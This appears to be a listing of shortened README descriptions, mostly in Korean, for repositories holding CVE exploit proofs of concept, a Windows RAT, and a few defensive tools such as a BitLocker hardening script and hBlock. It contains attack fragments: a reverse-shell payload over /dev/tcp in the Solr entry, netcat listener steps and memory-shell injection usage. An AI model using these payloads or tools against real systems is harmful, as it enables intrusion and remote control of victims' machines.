cve-2020-11060-poc

CVE-2020-11060 이 스크립트는 GLPI 버전 0.85-9.4.5에서 CVE-2020-11060을 악용하기 위한 Python 3.x 기반 익스플로잇입니다. 원본 구현: 0xdreadnaught Python3 리팩토링: n3rada ExploitDB의 원본 PoC는 Python 2.x를 사용했기 때문에 더 이상 사용되지 않습니다. 새 버전이 제출되었으며, 승인되면 링크가 여기에 추가될 예정입니다. 이 PoC를 구축하는 데 사용된 원본 취약점 연구는 AlmondOffSec이 수행했으며, 여기에서 확인할 수 있습니다. 사용...

Windows-X64-RAT

Windows x64 원격 접근 트로이 목마 RAT 목표 CVE-2023-38831WinRAR 6.23과 쉘코드 악용을 사용하여 Windows Defender를 우회하는 Windows x64 RAT를 개발합니다. 시스템 설명 1. 쉘코드 초기화 Windows/x64 - PIC Null-Free TCP Reverse Shell 쉘코드를 사용하여 쉘코드를 생성합니다. 2. main.cpp 설명 메모리에 쉘코드를 주입 및 실행하여 역방향 TCP 연결을 설정합니다. 3. main.cpp 컴파일 및 암호화 C++ 파일을 실행 파일로...

bitlocker-hardening

🔐 yellowkey-mitigation CVE-2026-45585 YellowKey에 대한 BitLocker TPM+PIN 강화 아직 완전한 패치가 없는 WinRE BitLocker 우회에 대한 자동 완화 🔍 취약점 YellowKey 는 물리적 접근이 가능한 공격자에게 BitLocker로 보호된 Windows 11 드라이브에 대해 복구 키, PIN, 자격 증명 없이도 제한 없는 셸을 제공하는 공개된 BitLocker 우회 방법입니다. Windows 복구 환경 내의 구성 요소autofstx.exe가 트랜잭션 NTFS 재생 루틴...

CVE-2023-45878

CVE-2023-45878 이 스크립트는 https://herolab.usd.de/security-advisories/usd-2023-0025/ 의 연구 결과를 기반으로 작성했습니다. 이 익스플로잇은 Gibbon LMS 25.0.1의 임의 파일 쓰기Arbitrary File Write 취약점을 이용합니다. 이 PoC는 간단한 php 명령 스크립트를 업로드한 다음 이를 사용하여 PowerShell 리버스 셸을 로드합니다. python3 CVE-2023-45878.py -u http://target.com/Gibbon-LMS -l...

cve-2025-49844

CVE-2025-49844 CVE-2025-49844, 일명 RediShell로도 알려진 제 개인 proof-of-concept입니다. 지원 대상 빌드: x86-64 Linux redis:8.2.1-alpine Docker 이미지 x86-64 Linux redis:8.2.1-bookworm Docker 이미지 조금 투박하고, 아마 Wiz Research의 것만큼 훌륭하지는 않을 것입니다. 그래도 Hexacon 2025 발표 영상이 업로드되기 전에 작동하도록 만든 것에 만족하며, 조사하는 과정이 매우 즐거웠습니다. 사용법 단방향...

hblock

광고, 추적 및 악성 도메인을 차단하여 보안과 개인정보를 향상시키세요. 이것은 무엇을 위한 것인가요? hBlock은 POSIX 호환 셸 스크립트로, 여러 소스에서 광고, 추적 스크립트 및 악성 소프트웨어를 제공하는 도메인 목록을 가져와 호스트 파일 및 기타 형식을 생성하여 시스템이 해당 도메인에 연결하지 못하도록 차단합니다. ⚠️ hBlock은 기본적으로 시스템의 호스트 파일을 대체합니다. 보존하려는 항목이 있다면 먼저 백업하는 것을 고려하세요. 설치 hBlock은 다양한 패키지 관리자에서 사용할 수 있습니다. 최신 목록은...

CVE-2019-0193-exp

CVE-2019-0193-exp 1 &/dev/tcp/127.0.0.1/9999 0&1"; var result = ; whiletrue var oneline = bufReader.readLine; result.push oneline ; if!oneline break; row.put"title",result.join"\n\r"; return row; 2.jdbc: &/dev/tcp/127.0.0.1/9999 0&1"; entity name="a" url="https://stackoverflow.com/feeds/tag/solr"...

ActiveMQ-EXPtools

ActiveMQ-EXPtools Apache ActiveMQ 취약점 탐지 및 이용 지원, CVE-2015-5254, CVE-2016-3088, CVE-2022-41678, CVE-2023-46604, CVE-2024-32114, CVE-2026-34197, CVE-2026-40466, CVE-2026-42588 !WARNING 이 도구는 보안 연구 및 학습 목적으로만 사용됩니다. 사용자는 이 도구 사용으로 인해 발생하는 모든 법적 책임과 관련 책임을 스스로 부담해야 합니다. 귀하의 행동이 현지 법률 및 규정을 준수하는지...

CVE-2023-4220-RCE

CVE-2023-4220-RCE 요약 Starlabs 권고 영향받는 제품: Chamilo , -p --port REMOTE PORT -c --comand 리버스 셸 플래그 -lh/--localhost: 공격자 IP -lp/--localtcat 리스너 포트...

CVE-2022-4510-WalkingPath

CVE-2022-4510-Binwalk 이 스크립트는 CVE-2022-4510 Binwalk 취약점을 대상으로 하는 익스플로잇을 생성할 수 있게 해줍니다. 익스플로잇은 테스트 및 시연 목적으로 사용할 수 있습니다. 지원되는 옵션에는 SSH, 명령 실행, 리버스 셸이 포함됩니다. 사전 요구 사항 Python 3.x 사용 방법 1. 저장소를 클론하거나 스크립트 파일을 다운로드합니다. 2. 원하는 옵션으로 스크립트를 실행합니다. 사용 가능한 옵션은 다음과 같습니다: ssh: SSH용 익스플로잇을 생성합니다. 인자: file: 입력...

CVE-2022-26134-Godzilla-MEMSHELL

CVE-2022-26134-Godzilla-MEMSHELL 사용법 java -jar CVE-2022-26134.jar 哥斯拉密码 哥斯拉密钥 example java -jar CVE-2022-26134.jar pass key 메모리 셸이 성공적으로 주입되었지만 Godzilla에 연결할 수 없는 경우 요청 구성에 다음 프로토콜 헤더를 추가하거나 Godzilla에 Burp 프록시를 구성하십시오. Connection: close C:\CVE202226134jarjava -jar CVE-2022-26134.jar...

CVE-2020-29669

Macally WIFISD2-2A82 CVE-2020-29669 분석 Maximilian Barz Silky 및 Daniel Schwendner code-byter 작성 ========================== 이 문서는 Macally WIFISD2-2A82 여행용 라우터펌웨어 버전: 2.000.010를 익스플로잇하는 방법에 대한 분석입니다. 게스트 사용자는 자신의 비밀번호를 재설정할 수 있습니다. 이 과정에는 관리자 계정을 탈취하고 셸 액세스를 획득할 수 있는 취약점이 존재합니다. 관리자 사용자는 /etc/shadow...

CVE-2024-50498

CVE-2024-50498 설명 LUBUS WP Query Console의 코드 생성 제어 불량'코드 삽입' 취약점으로 인해 코드 삽입이 가능합니다. 이 문제는 WP Query Console n/a부터 1.0까지의 버전에 영향을 미칩니다. Netcat 리스너 설정: 사용자 머신에서 터미널을 열고 Netcat 리스너를 시작하여 리버스 셸 연결을 대기하세요. nc -lvnp 사용법 usage: CVE-2024-50498.py -h -u URL -ip LISTENERIP -P PORT wordpress | Improper Contr...

CVE-2022-23935

CVE-2022-23935 🐍 CVE-2022-23935를 위한 Python 익스플로잇 CVE-2022-23935용 스테이지형 리버스 셸 페이로드 생성기 예제 cve-2022-23935 10.10.16.3 44444 사용법 usage: cve-2022-23935 -h -l SERVERPORT -s SHELL ip port positional arguments: ip IP Address/Host for Callback port Port Number for Callback options: -h, --help show this he...

CVE-2018-8414-POC

CVE-2018-8414 POC Windows Shell 패키지 설정 원격 코드 실행 취약점 해당: Windows 10 버전 1703 1803 / Windows Server 버전 1709 1803 참고: 파일 위치기본 정책 설정에 따라 익스플로잇이 실패하는 경우가 있습니다. 따라서 패키지 설정 디렉터리에 파일을 복사하면 올바르게 실행됩니다...

CVE-2024-37084-Poc

CVE-2024-37084-Poc CVE-2024-37084 に関するセットアップ、分析、デモエクスプロイト、PoC 使い方 : py .\CVE-2024-37084-Poc.py usage: python CVE-2024-37084-Poc.py --targeturl --version --payloadurl --listenip --listenport PoC for CVE-2024-37084 - Remote Code Execution optional arguments: -h, --help show this help message and ex...

CVE-2024-48990-Exploit

CVE-2024-48990 익스플로잇 제가 이 N-day를 재발견하게 된 경위와 이에 대한 나만의 익스플로잇을 제작한 전체 과정에 대한 자세한 글은 제 블로그에서 확인할 수 있습니다. 기본적으로, 공격자가 제어하는 디렉터리에 이 저장소를 git clone 하고, export PYTHONPATH=를 실행한 다음, 해당 PYTHONPATH 값이 설정된 상태에서 main.py를 실행하면 됩니다. 그런 다음 127.0.0.1:1337에서 netcat 리스너를 설정하고, 시스템에서 cron 작업 또는 시스템 관리자가 sudo apt...

CVE-2024-0039-Exploit

CVE-2024-0039-Exploit 설명 파이썬 스크립트로, 취약한 Android 기기에서 임의 코드를 실행하는 CVE-2024-0039 취약점을 이용합니다. 경고 : 이 코드는 오직 교육과 창작 목적으로만 제공되며, 선의 편에서 봉사하기 위한 것입니다, 말하자면! 사용법 필요한 인수와 함께 스크립트를 실행하십시오: python exploit.py --cb-host --cb-port --output exploit.mp4 프로젝트 구조 exploit.py : 악성 MP4 파일을 생성하고 실행 과정을 기록하는 주요 익스플로잇...

MetabaseRceTools

MetabaseRceTools CVE-2023-38646 Metabase RCE 도구 CVE-2023-38646 RCE 그래픽 활용 도구 확인 모듈 지정된 URL을 입력하여 인증되지 않은 Token을 감지합니다. 명령 실행 이 모듈을 사용하려면 먼저 확인 모듈을 실행하여 token을 획득해야 합니다. JarLocation: metabase.jar의 위치, 기본값은 현재 디렉터리 메모리 셸 주입 현재는 cmd와 godzilla 모드만 작성되었으며, x-client-data를 통해 제어합니다. x-client-data:cmd →...

CVE-2023-42793

CVE-2023-42793 JetBrains TeamCity 2023.05.4 이전 버전은 인증 우회 취약점이 있어 원격 코드 실행RCE이 가능합니다. 사용법 리버스 셸을 얻으려면 python3 exploit.py 참고 자료 https://blog.jetbrains.com/teamcity/2023/09/cve-2023-42793-vulnerability-post-mortem/...